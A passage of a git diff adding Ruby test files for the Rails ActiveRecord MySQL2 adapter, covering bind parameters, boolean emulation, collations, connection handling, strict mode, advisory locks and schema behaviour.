+      t.index :zip
+    end
+
+    assert_equal expected, actual
+  end
+
+  private
+    def with_real_execute
+      ActiveRecord::Base.connection.singleton_class.class_eval do
+        alias_method :execute_with_stub, :execute
+        remove_method :execute
+        alias_method :execute, :execute_without_stub
+      end
+
+      yield
+    ensure
+      ActiveRecord::Base.connection.singleton_class.class_eval do
+        remove_method :execute
+        alias_method :execute, :execute_with_stub
+      end
+    end
+
+    def method_missing(method_symbol, *arguments)
+      ActiveRecord::Base.connection.send(method_symbol, *arguments)
+    end
+
+    def column_present?(table_name, column_name, type)
+      results = ActiveRecord::Base.connection.select_all("SHOW FIELDS FROM #{table_name} LIKE '#{column_name}'")
+      results.first && results.first["Type"] == type
+    end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb b/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb
new file mode 100644
index 0000000000..825bddfb73
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/bind_parameter_test.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class Mysql2Adapter
+      class BindParameterTest < ActiveRecord::Mysql2TestCase
+        fixtures :topics
+
+        def test_update_question_marks
+          str       = "foo?bar"
+          x         = Topic.first
+          x.title   = str
+          x.content = str
+          x.save!
+          x.reload
+          assert_equal str, x.title
+          assert_equal str, x.content
+        end
+
+        def test_create_question_marks
+          str = "foo?bar"
+          x   = Topic.create!(title: str, content: str)
+          x.reload
+          assert_equal str, x.title
+          assert_equal str, x.content
+        end
+
+        def test_update_null_bytes
+          str       = "foo\0bar"
+          x         = Topic.first
+          x.title   = str
+          x.content = str
+          x.save!
+          x.reload
+          assert_equal str, x.title
+          assert_equal str, x.content
+        end
+
+        def test_create_null_bytes
+          str = "foo\0bar"
+          x   = Topic.create!(title: str, content: str)
+          x.reload
+          assert_equal str, x.title
+          assert_equal str, x.content
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/boolean_test.rb b/activerecord/test/cases/adapters/mysql2/boolean_test.rb
new file mode 100644
index 0000000000..db09b30361
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/boolean_test.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class Mysql2BooleanTest < ActiveRecord::Mysql2TestCase
+  self.use_transactional_tests = false
+
+  class BooleanType < ActiveRecord::Base
+    self.table_name = "mysql_booleans"
+  end
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.clear_cache!
+    @connection.create_table("mysql_booleans") do |t|
+      t.boolean "archived"
+      t.string "published", limit: 1
+    end
+    BooleanType.reset_column_information
+
+    @emulate_booleans = ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans
+  end
+
+  teardown do
+    emulate_booleans @emulate_booleans
+    @connection.drop_table "mysql_booleans"
+  end
+
+  test "column type with emulated booleans" do
+    emulate_booleans true
+
+    assert_equal :boolean, boolean_column.type
+    assert_equal :string, string_column.type
+  end
+
+  test "column type without emulated booleans" do
+    emulate_booleans false
+
+    assert_equal :integer, boolean_column.type
+    assert_equal :string, string_column.type
+  end
+
+  test "type casting with emulated booleans" do
+    emulate_booleans true
+
+    boolean = BooleanType.create!(archived: true, published: true)
+    attributes = boolean.reload.attributes_before_type_cast
+    assert_equal 1, attributes["archived"]
+    assert_equal "1", attributes["published"]
+
+    boolean = BooleanType.create!(archived: false, published: false)
+    attributes = boolean.reload.attributes_before_type_cast
+    assert_equal 0, attributes["archived"]
+    assert_equal "0", attributes["published"]
+
+    assert_equal 1, @connection.type_cast(true)
+    assert_equal 0, @connection.type_cast(false)
+  end
+
+  test "type casting without emulated booleans" do
+    emulate_booleans false
+
+    boolean = BooleanType.create!(archived: true, published: true)
+    attributes = boolean.reload.attributes_before_type_cast
+    assert_equal 1, attributes["archived"]
+    assert_equal "1", attributes["published"]
+
+    boolean = BooleanType.create!(archived: false, published: false)
+    attributes = boolean.reload.attributes_before_type_cast
+    assert_equal 0, attributes["archived"]
+    assert_equal "0", attributes["published"]
+
+    assert_equal 1, @connection.type_cast(true)
+    assert_equal 0, @connection.type_cast(false)
+  end
+
+  test "with booleans stored as 1 and 0" do
+    @connection.execute "INSERT INTO mysql_booleans(archived, published) VALUES(1, '1')"
+    boolean = BooleanType.first
+    assert_equal true, boolean.archived
+    assert_equal "1", boolean.published
+  end
+
+  test "with booleans stored as t" do
+    @connection.execute "INSERT INTO mysql_booleans(published) VALUES('t')"
+    boolean = BooleanType.first
+    assert_equal "t", boolean.published
+  end
+
+  def boolean_column
+    BooleanType.columns.find { |c| c.name == "archived" }
+  end
+
+  def string_column
+    BooleanType.columns.find { |c| c.name == "published" }
+  end
+
+  def emulate_booleans(value)
+    ActiveRecord::ConnectionAdapters::Mysql2Adapter.emulate_booleans = value
+    BooleanType.reset_column_information
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
new file mode 100644
index 0000000000..fd5f712f1a
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class Mysql2CaseSensitivityTest < ActiveRecord::Mysql2TestCase
+  class CollationTest < ActiveRecord::Base
+  end
+
+  repair_validations(CollationTest)
+
+  def test_columns_include_collation_different_from_table
+    assert_equal "utf8_bin", CollationTest.columns_hash["string_cs_column"].collation
+    assert_equal "utf8_general_ci", CollationTest.columns_hash["string_ci_column"].collation
+  end
+
+  def test_case_sensitive
+    assert !CollationTest.columns_hash["string_ci_column"].case_sensitive?
+    assert CollationTest.columns_hash["string_cs_column"].case_sensitive?
+  end
+
+  def test_case_insensitive_comparison_for_ci_column
+    CollationTest.validates_uniqueness_of(:string_ci_column, case_sensitive: false)
+    CollationTest.create!(string_ci_column: "A")
+    invalid = CollationTest.new(string_ci_column: "a")
+    queries = assert_sql { invalid.save }
+    ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
+    assert_no_match(/lower/i, ci_uniqueness_query)
+  end
+
+  def test_case_insensitive_comparison_for_cs_column
+    CollationTest.validates_uniqueness_of(:string_cs_column, case_sensitive: false)
+    CollationTest.create!(string_cs_column: "A")
+    invalid = CollationTest.new(string_cs_column: "a")
+    queries = assert_sql { invalid.save }
+    cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
+    assert_match(/lower/i, cs_uniqueness_query)
+  end
+
+  def test_case_sensitive_comparison_for_ci_column
+    CollationTest.validates_uniqueness_of(:string_ci_column, case_sensitive: true)
+    CollationTest.create!(string_ci_column: "A")
+    invalid = CollationTest.new(string_ci_column: "A")
+    queries = assert_sql { invalid.save }
+    ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) }
+    assert_match(/binary/i, ci_uniqueness_query)
+  end
+
+  def test_case_sensitive_comparison_for_cs_column
+    CollationTest.validates_uniqueness_of(:string_cs_column, case_sensitive: true)
+    CollationTest.create!(string_cs_column: "A")
+    invalid = CollationTest.new(string_cs_column: "A")
+    queries = assert_sql { invalid.save }
+    cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) }
+    assert_no_match(/binary/i, cs_uniqueness_query)
+  end
+
+  def test_case_sensitive_comparison_for_binary_column
+    CollationTest.validates_uniqueness_of(:binary_column, case_sensitive: true)
+    CollationTest.create!(binary_column: "A")
+    invalid = CollationTest.new(binary_column: "A")
+    queries = assert_sql { invalid.save }
+    bin_uniqueness_query = queries.detect { |q| q.match(/binary_column/) }
+    assert_no_match(/\bBINARY\b/, bin_uniqueness_query)
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/charset_collation_test.rb b/activerecord/test/cases/adapters/mysql2/charset_collation_test.rb
new file mode 100644
index 0000000000..d0c57de65d
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/charset_collation_test.rb
@@ -0,0 +1,56 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/schema_dumping_helper"
+
+class Mysql2CharsetCollationTest < ActiveRecord::Mysql2TestCase
+  include SchemaDumpingHelper
+  self.use_transactional_tests = false
+
+  setup do
+    @connection = ActiveRecord::Base.connection
+    @connection.create_table :charset_collations, force: true do |t|
+      t.string :string_ascii_bin, charset: "ascii", collation: "ascii_bin"
+      t.text :text_ucs2_unicode_ci, charset: "ucs2", collation: "ucs2_unicode_ci"
+    end
+  end
+
+  teardown do
+    @connection.drop_table :charset_collations, if_exists: true
+  end
+
+  test "string column with charset and collation" do
+    column = @connection.columns(:charset_collations).find { |c| c.name == "string_ascii_bin" }
+    assert_equal :string, column.type
+    assert_equal "ascii_bin", column.collation
+  end
+
+  test "text column with charset and collation" do
+    column = @connection.columns(:charset_collations).find { |c| c.name == "text_ucs2_unicode_ci" }
+    assert_equal :text, column.type
+    assert_equal "ucs2_unicode_ci", column.collation
+  end
+
+  test "add column with charset and collation" do
+    @connection.add_column :charset_collations, :title, :string, charset: "utf8", collation: "utf8_bin"
+
+    column = @connection.columns(:charset_collations).find { |c| c.name == "title" }
+    assert_equal :string, column.type
+    assert_equal "utf8_bin", column.collation
+  end
+
+  test "change column with charset and collation" do
+    @connection.add_column :charset_collations, :description, :string, charset: "utf8", collation: "utf8_unicode_ci"
+    @connection.change_column :charset_collations, :description, :text, charset: "utf8", collation: "utf8_general_ci"
+
+    column = @connection.columns(:charset_collations).find { |c| c.name == "description" }
+    assert_equal :text, column.type
+    assert_equal "utf8_general_ci", column.collation
+  end
+
+  test "schema dump includes collation" do
+    output = dump_table_schema("charset_collations")
+    assert_match %r{t\.string\s+"string_ascii_bin",\s+collation: "ascii_bin"$}, output
+    assert_match %r{t\.text\s+"text_ucs2_unicode_ci",\s+collation: "ucs2_unicode_ci"$}, output
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/connection_test.rb b/activerecord/test/cases/adapters/mysql2/connection_test.rb
new file mode 100644
index 0000000000..9d81d506a0
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/connection_test.rb
@@ -0,0 +1,225 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/connection_helper"
+
+class Mysql2ConnectionTest < ActiveRecord::Mysql2TestCase
+  include ConnectionHelper
+
+  fixtures :comments
+
+  def setup
+    super
+    @subscriber = SQLSubscriber.new
+    @subscription = ActiveSupport::Notifications.subscribe("sql.active_record", @subscriber)
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def teardown
+    ActiveSupport::Notifications.unsubscribe(@subscription)
+    super
+  end
+
+  def test_bad_connection
+    assert_raise ActiveRecord::NoDatabaseError do
+      configuration = ActiveRecord::Base.configurations["arunit"].merge(database: "inexistent_activerecord_unittest")
+      connection = ActiveRecord::Base.mysql2_connection(configuration)
+      connection.drop_table "ex", if_exists: true
+    end
+  end
+
+  def test_truncate
+    rows = ActiveRecord::Base.connection.exec_query("select count(*) from comments")
+    count = rows.first.values.first
+    assert_operator count, :>, 0
+
+    ActiveRecord::Base.connection.truncate("comments")
+    rows = ActiveRecord::Base.connection.exec_query("select count(*) from comments")
+    count = rows.first.values.first
+    assert_equal 0, count
+  end
+
+  def test_no_automatic_reconnection_after_timeout
+    assert @connection.active?
+    @connection.update("set @@wait_timeout=1")
+    sleep 2
+    assert !@connection.active?
+  ensure
+    # Repair all fixture connections so other tests won't break.
+    @fixture_connections.each(&:verify!)
+  end
+
+  def test_successful_reconnection_after_timeout_with_manual_reconnect
+    assert @connection.active?
+    @connection.update("set @@wait_timeout=1")
+    sleep 2
+    @connection.reconnect!
+    assert @connection.active?
+  end
+
+  def test_successful_reconnection_after_timeout_with_verify
+    assert @connection.active?
+    @connection.update("set @@wait_timeout=1")
+    sleep 2
+    @connection.verify!
+    assert @connection.active?
+  end
+
+  def test_verify_with_args_is_deprecated
+    assert_deprecated do
+      @connection.verify!(option: true)
+    end
+    assert_deprecated do
+      @connection.verify!([])
+    end
+    assert_deprecated do
+      @connection.verify!({})
+    end
+  end
+
+  def test_execute_after_disconnect
+    @connection.disconnect!
+
+    error = assert_raise(ActiveRecord::StatementInvalid) do
+      @connection.execute("SELECT 1")
+    end
+    assert_kind_of Mysql2::Error, error.cause
+  end
+
+  def test_quote_after_disconnect
+    @connection.disconnect!
+
+    assert_raise(Mysql2::Error) do
+      @connection.quote("string")
+    end
+  end
+
+  def test_active_after_disconnect
+    @connection.disconnect!
+    assert_equal false, @connection.active?
+  end
+
+  def test_wait_timeout_as_string
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.merge(wait_timeout: "60"))
+      result = ActiveRecord::Base.connection.select_value("SELECT @@SESSION.wait_timeout")
+      assert_equal 60, result
+    end
+  end
+
+  def test_wait_timeout_as_url
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.merge("url" => "mysql2:///?wait_timeout=60"))
+      result = ActiveRecord::Base.connection.select_value("SELECT @@SESSION.wait_timeout")
+      assert_equal 60, result
+    end
+  end
+
+  def test_mysql_connection_collation_is_configured
+    assert_equal "utf8_unicode_ci", @connection.show_variable("collation_connection")
+    assert_equal "utf8_general_ci", ARUnit2Model.connection.show_variable("collation_connection")
+  end
+
+  def test_mysql_default_in_strict_mode
+    result = @connection.select_value("SELECT @@SESSION.sql_mode")
+    assert_match %r(STRICT_ALL_TABLES), result
+  end
+
+  def test_mysql_strict_mode_disabled
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.merge(strict: false))
+      result = ActiveRecord::Base.connection.select_value("SELECT @@SESSION.sql_mode")
+      assert_no_match %r(STRICT_ALL_TABLES), result
+    end
+  end
+
+  def test_mysql_strict_mode_specified_default
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.merge(strict: :default))
+      global_sql_mode = ActiveRecord::Base.connection.select_value("SELECT @@GLOBAL.sql_mode")
+      session_sql_mode = ActiveRecord::Base.connection.select_value("SELECT @@SESSION.sql_mode")
+      assert_equal global_sql_mode, session_sql_mode
+    end
+  end
+
+  def test_mysql_sql_mode_variable_overrides_strict_mode
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { "sql_mode" => "ansi" }))
+      result = ActiveRecord::Base.connection.select_value("SELECT @@SESSION.sql_mode")
+      assert_no_match %r(STRICT_ALL_TABLES), result
+    end
+  end
+
+  def test_passing_arbitrary_flags_to_adapter
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.merge(flags: Mysql2::Client::COMPRESS))
+      assert_equal (Mysql2::Client::COMPRESS | Mysql2::Client::FOUND_ROWS), ActiveRecord::Base.connection.raw_connection.query_options[:flags]
+    end
+  end
+
+  def test_passing_flags_by_array_to_adapter
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.merge(flags: ["COMPRESS"]))
+      assert_equal ["COMPRESS", "FOUND_ROWS"], ActiveRecord::Base.connection.raw_connection.query_options[:flags]
+    end
+  end
+
+  def test_mysql_set_session_variable
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { default_week_format: 3 }))
+      session_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT"
+      assert_equal 3, session_mode.rows.first.first.to_i
+    end
+  end
+
+  def test_mysql_set_session_variable_to_default
+    run_without_connection do |orig_connection|
+      ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { default_week_format: :default }))
+      global_mode = ActiveRecord::Base.connection.exec_query "SELECT @@GLOBAL.DEFAULT_WEEK_FORMAT"
+      session_mode = ActiveRecord::Base.connection.exec_query "SELECT @@SESSION.DEFAULT_WEEK_FORMAT"
+      assert_equal global_mode.rows, session_mode.rows
+    end
+  end
+
+  def test_logs_name_show_variable
+    @connection.show_variable "foo"
+    assert_equal "SCHEMA", @subscriber.logged[0][1]
+  end
+
+  def test_logs_name_rename_column_sql
+    @connection.execute "CREATE TABLE `bar_baz` (`foo` varchar(255))"
+    @subscriber.logged.clear
+    @connection.send(:rename_column_sql, "bar_baz", "foo", "foo2")
+    assert_equal "SCHEMA", @subscriber.logged[0][1]
+  ensure
+    @connection.execute "DROP TABLE `bar_baz`"
+  end
+
+  def test_get_and_release_advisory_lock
+    lock_name = "test lock'n'name"
+
+    got_lock = @connection.get_advisory_lock(lock_name)
+    assert got_lock, "get_advisory_lock should have returned true but it didn't"
+
+    assert_equal test_lock_free(lock_name), false,
+      "expected the test advisory lock to be held but it wasn't"
+
+    released_lock = @connection.release_advisory_lock(lock_name)
+    assert released_lock, "expected release_advisory_lock to return true but it didn't"
+
+    assert test_lock_free(lock_name), "expected the test lock to be available after releasing"
+  end
+
+  def test_release_non_existent_advisory_lock
+    lock_name = "fake lock'n'name"
+    released_non_existent_lock = @connection.release_advisory_lock(lock_name)
+    assert_equal released_non_existent_lock, false,
+      "expected release_advisory_lock to return false when there was no lock to release"
+  end
+
+  private
+
+    def test_lock_free(lock_name)
+      @connection.select_value("SELECT IS_FREE_LOCK(#{@connection.quote(lock_name)})") == 1
+    end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/datetime_precision_quoting_test.rb b/activerecord/test/cases/adapters/mysql2/datetime_precision_quoting_test.rb
new file mode 100644
index 0000000000..fa54f39992
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/datetime_precision_quoting_test.rb
@@ -0,0 +1,54 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class Mysql2DatetimePrecisionQuotingTest < ActiveRecord::Mysql2TestCase
+  setup do
+    @connection = ActiveRecord::Base.connection
+  end
+
+  test "microsecond precision for MySQL gte 5.6.4" do
+    stub_version "5.6.4" do
+      assert_microsecond_precision
+    end
+  end
+
+  test "no microsecond precision for MySQL lt 5.6.4" do
+    stub_version "5.6.3" do
+      assert_no_microsecond_precision
+    end
+  end
+
+  test "microsecond precision for MariaDB gte 5.3.0" do
+    stub_version "5.5.5-10.1.8-MariaDB-log" do
+      assert_microsecond_precision
+    end
+  end
+
+  test "no microsecond precision for MariaDB lt 5.3.0" do
+    stub_version "5.2.9-MariaDB" do
+      assert_no_microsecond_precision
+    end
+  end
+
+  private
+    def assert_microsecond_precision
+      assert_match_quoted_microsecond_datetime(/\.000001\z/)
+    end
+
+    def assert_no_microsecond_precision
+      assert_match_quoted_microsecond_datetime(/\d\z/)
+    end
+
+    def assert_match_quoted_microsecond_datetime(match)
+      assert_match match, @connection.quoted_date(Time.now.change(usec: 1))
+    end
+
+    def stub_version(full_version_string)
+      @connection.stubs(:full_version).returns(full_version_string)
+      @connection.remove_instance_variable(:@version) if @connection.instance_variable_defined?(:@version)
+      yield
+    ensure
+      @connection.remove_instance_variable(:@version) if @connection.instance_variable_defined?(:@version)
+    end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/enum_test.rb b/activerecord/test/cases/adapters/mysql2/enum_test.rb
new file mode 100644
index 0000000000..108bec832c
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/enum_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class Mysql2EnumTest < ActiveRecord::Mysql2TestCase
+  class EnumTest < ActiveRecord::Base
+  end
+
+  def test_enum_limit
+    column = EnumTest.columns_hash["enum_column"]
+    assert_equal 8, column.limit
+  end
+
+  def test_should_not_be_unsigned
+    column = EnumTest.columns_hash["enum_column"]
+    assert_not column.unsigned?
+  end
+
+  def test_should_not_be_bigint
+    column = EnumTest.columns_hash["enum_column"]
+    assert_not column.bigint?
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/explain_test.rb b/activerecord/test/cases/adapters/mysql2/explain_test.rb
new file mode 100644
index 0000000000..2736f7cf0e
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/explain_test.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/developer"
+require "models/computer"
+
+class Mysql2ExplainTest < ActiveRecord::Mysql2TestCase
+  fixtures :developers
+
+  def test_explain_for_one_query
+    explain = Developer.where(id: 1).explain
+    assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
+    assert_match %r(developers |.* const), explain
+  end
+
+  def test_explain_with_eager_loading
+    explain = Developer.where(id: 1).includes(:audit_logs).explain
+    assert_match %(EXPLAIN for: SELECT `developers`.* FROM `developers` WHERE `developers`.`id` = 1), explain
+    assert_match %r(developers |.* const), explain
+    assert_match %(EXPLAIN for: SELECT `audit_logs`.* FROM `audit_logs` WHERE `audit_logs`.`developer_id` = 1), explain
+    assert_match %r(audit_logs |.* ALL), explain
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/json_test.rb b/activerecord/test/cases/adapters/mysql2/json_test.rb
new file mode 100644
index 0000000000..de78ba91f5
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/json_test.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "cases/json_shared_test_cases"
+
+if ActiveRecord::Base.connection.supports_json?
+  class Mysql2JSONTest < ActiveRecord::Mysql2TestCase
+    include JSONSharedTestCases
+    self.use_transactional_tests = false
+
+    def setup
+      super
+      @connection.create_table("json_data_type") do |t|
+        t.json "payload"
+        t.json "settings"
+      end
+    end
+
+    private
+      def column_type
+        :json
+      end
+  end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/mysql2_adapter_test.rb b/activerecord/test/cases/adapters/mysql2/mysql2_adapter_test.rb
new file mode 100644
index 0000000000..d18fb97e05
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/mysql2_adapter_test.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "support/ddl_helper"
+
+class Mysql2AdapterTest < ActiveRecord::Mysql2TestCase
+  include DdlHelper
+
+  def setup
+    @conn = ActiveRecord::Base.connection
+  end
+
+  def test_exec_query_nothing_raises_with_no_result_queries
+    assert_nothing_raised do
+      with_example_table do
+        @conn.exec_query("INSERT INTO ex (number) VALUES (1)")
+        @conn.exec_query("DELETE FROM ex WHERE number = 1")
+      end
+    end
+  end
+
+  def test_columns_for_distinct_zero_orders
+    assert_equal "posts.id",
+      @conn.columns_for_distinct("posts.id", [])
+  end
+
+  def test_columns_for_distinct_one_order
+    assert_equal "posts.id, posts.created_at AS alias_0",
+      @conn.columns_for_distinct("posts.id", ["posts.created_at desc"])
+  end
+
+  def test_columns_for_distinct_few_orders
+    assert_equal "posts.id, posts.created_at AS alias_0, posts.position AS alias_1",
+      @conn.columns_for_distinct("posts.id", ["posts.created_at desc", "posts.position asc"])
+  end
+
+  def test_columns_for_distinct_with_case
+    assert_equal(
+      "posts.id, CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END AS alias_0",
+      @conn.columns_for_distinct("posts.id",
+        ["CASE WHEN author.is_active THEN UPPER(author.name) ELSE UPPER(author.email) END"])
+    )
+  end
+
+  def test_columns_for_distinct_blank_not_nil_orders
+    assert_equal "posts.id, posts.created_at AS alias_0",
+      @conn.columns_for_distinct("posts.id", ["posts.created_at desc", "", "   "])
+  end
+
+  def test_columns_for_distinct_with_arel_order
+    order = Object.new
+    def order.to_sql
+      "posts.created_at desc"
+    end
+    assert_equal "posts.id, posts.created_at AS alias_0",
+      @conn.columns_for_distinct("posts.id", [order])
+  end
+
+  def test_errors_for_bigint_fks_on_integer_pk_table
+    # table old_cars has primary key of integer
+
+    error = assert_raises(ActiveRecord::MismatchedForeignKey) do
+      @conn.add_reference :engines, :old_car
+      @conn.add_foreign_key :engines, :old_cars
+    end
+
+    assert_match "Column `old_car_id` on table `engines` has a type of `bigint(20)`", error.message
+    assert_not_nil error.cause
+    @conn.exec_query("ALTER TABLE engines DROP COLUMN old_car_id")
+  end
+
+  private
+
+    def with_example_table(definition = "id int auto_increment primary key, number int, data varchar(255)", &block)
+      super(@conn, "ex", definition, &block)
+    end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
new file mode 100644
index 0000000000..eb602af812
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/schema_migrations_test.rb
@@ -0,0 +1,61 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+
+class SchemaMigrationsTest < ActiveRecord::Mysql2TestCase
+  def test_renaming_index_on_foreign_key
+    connection.add_index "engines", "car_id"
+    connection.add_foreign_key :engines, :cars, name: "fk_engines_cars"
+
+    connection.rename_index("engines", "index_engines_on_car_id", "idx_renamed")
+    assert_equal ["idx_renamed"], connection.indexes("engines").map(&:name)
+  ensure
+    connection.remove_foreign_key :engines, name: "fk_engines_cars"
+  end
+
+  def test_initializes_schema_migrations_for_encoding_utf8mb4
+    with_encoding_utf8mb4 do
+      table_name = ActiveRecord::SchemaMigration.table_name
+      connection.drop_table table_name, if_exists: true
+
+      ActiveRecord::SchemaMigration.create_table
+
+      assert connection.column_exists?(table_name, :version, :string)
+    end
+  end
+
+  def test_initializes_internal_metadata_for_encoding_utf8mb4
+    with_encoding_utf8mb4 do
+      table_name = ActiveRecord::InternalMetadata.table_name
+      connection.drop_table table_name, if_exists: true
+
+      ActiveRecord::InternalMetadata.create_table
+
+      assert connection.column_exists?(table_name, :key, :string)
+    end
+  end
+
+  private
+
+    def with_encoding_utf8mb4
+      database_name = connection.current_database
+      database_info = connection.select_one("SELECT * FROM information_schema.schemata WHERE schema_name = '#{database_name}'")
+
+      original_charset = database_info["DEFAULT_CHARACTER_SET_NAME"]
+      original_collation = database_info["DEFAULT_COLLATION_NAME"]
+
+      execute("ALTER DATABASE #{database_name} DEFAULT CHARACTER SET utf8mb4")
+
+      yield
+    ensure
+      execute("ALTER DATABASE #{database_name} DEFAULT CHARACTER SET #{original_charset} COLLATE #{original_collation}")
+    end
+
+    def connection
+      @connection ||= ActiveRecord::Base.connection
+    end
+
+    def execute(sql)
+      connection.execute(sql)
+    end
+end
diff --git a/activerecord/test/cases/adapters/mysql2/schema_test.rb b/activerecord/test/cases/adapters/mysql2/schema_test.rb
new file mode 100644
index 0000000000..b587e756cf
--- /dev/null
+++ b/activerecord/test/cases/adapters/mysql2/schema_test.rb
@@ -0,0 +1,128 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/comment"
+
+module ActiveRecord
+  module ConnectionAdapters
+    class Mysql2SchemaTest < ActiveRecord::Mysql2TestCase
+      fixtures :posts
+
+      def setup
+        @connection = ActiveRecord::Base.connection
+        db          = Post.connection_pool.spec.config[:database]
+        table       = Post.table_name
+        @db_name    = db
+
+        @omgpost = Class.new(ActiveRecord::Base) do
+          self.inheritance_column = :disabled
+          self.table_name = "#{db}.#{table}"
+          def self.name; "Post"; end
+        end
+      end
+
+      def test_float_limits
+        @connection.create_table :mysql_doubles do |t|
+          t.float :float_no_limit
+          t.float :float_short, limit: 5
+          t.float :float_long, limit: 53
+
+          t.float :float_23, limit: 23
+          t.float :float_24, limit: 24
+          t.float :float_25, limit: 25
+        end
+
+        column_no_limit = @connection.columns(:mysql_doubles).find { |c| c.name == "float_no_limit" }
+        column_short = @connection.columns(:mysql_doubles).find { |c| c.name == "float_short" }
+        column_long = @connection.columns(:mysql_doubles).find { |c| c.name == "float_long" }
+
+        column_23 = @connection.columns(:mysql_doubles).find { |c| c.name == "float_23" }
+        column_24 = @connection.columns(:mysql_doubles).find { |c| c.name == "float_24" }
+        column_25 = @connection.columns(:mysql_doubles).find { |c| c.name == "float_25" }
+
+        # Mysql floats are precision 0..24, Mysql doubles are precision 25..53
+        assert_equal 24, column_no_limit.limit
+        assert_equal 24, column_short.limit
+        assert_equal 53, column_long.limit
+
+        assert_equal 24, column_23.limit
+        assert_equal 24, column_24.limit
+        assert_equal 53, column_25.limit
+      ensure
+        @connection.drop_table "mysql_doubles", if_exists: true
+      end
+
+      def test_schema
+        assert @omgpost.first
+      end
+
+      def test_primary_key
+        assert_equal "id", @omgpost.primary_key
+      end
+
+      def test_data_source_exists?
+        name = @omgpost.table_name
+        assert @connection.data_source_exists?(name), "#{name} data_source should exist"
+      end
+
+      def test_data_source_exists_wrong_schema
+        assert(!@connection.data_source_exists?("#{@db_name}.zomg"), "data_source should not exist")
+      end
+
+      def test_dump_indexes
+        index_a_name = "index_key_tests_on_snack"
+        index_b_name = "index_key_tests_on_pizza"
+        index_c_name = "index_key_tests_on_awesome"
+
+        table = "key_tests"
+
+        indexes = @connection.indexes(table).sort_by(&:name)
+        assert_equal 3, indexes.size
+
+        index_a = indexes.select { |i| i.name == index_a_name }[0]
+        index_b = indexes.select { |i| i.name == index_b_name }[0]
+        index_c = indexes.select { |i| i.name == index_c_name }[0]
+        assert_equal :btree, index_a.using
+        assert_nil index_a.type
+        assert_equal :btree, index_b.using
+        assert_nil index_b.type
+
+        assert_nil index_c.using
+        assert_equal :fulltext, index_c.type
+      end
+
+      unless mysql_enforcing_gtid_consistency?
+        def test_drop_temporary_table
+          @connection.transaction do
+            @connection.create_table(:temp_table, temporary: true)
+            # if it doesn't properly say DROP TEMPORARY TABLE, the transaction commit
+            # will complain that no transaction is active
+            @connection.drop_table(:temp_table, temporary: true)
+          end
+        end
+      end
+    end
+  end
+end
+
+class Mysql2AnsiQuotesTest < ActiveRecord::Mysql2TestCase
+  def setup
+    @connection = ActiveRecord::Base.connection
+    @connection.execute("SET SESSION sql_mode='ANSI_QUOTES'")
+  end
+
+  def teardown
+    @connection.reconnect!
+  end
+
+  def test_primary_key_method_with_ansi_quotes
+    assert_equal "id", @connection.primary_key("topics")
+  end
